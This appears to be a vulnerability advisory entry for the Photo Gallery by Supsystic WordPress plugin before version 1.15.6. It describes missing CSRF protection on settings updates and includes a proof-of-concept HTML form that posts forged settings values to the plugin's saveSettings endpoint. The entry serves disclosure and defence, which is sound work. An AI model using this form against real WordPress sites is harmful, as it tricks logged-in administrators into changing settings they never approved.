Photo Gallery by Supsystic < 1.15.6 - Arbitrary Settings Update via CSRF

2022-06-1500:00:00

wpvulndb

0.001 Low

EPSS

Percentile

20.9%

JSON

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=supsystic-gallery&module=settings&action=saveSettings" method="POST">
      <input type="hidden" name="settings[send_stats]" value="1" />
      <input type="hidden" name="settings[image_editor]" value="aaaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

20.9%

JSON

Related for WPEX-ID:B06F0EC2-EDD7-468D-88DD-84CA15C3911E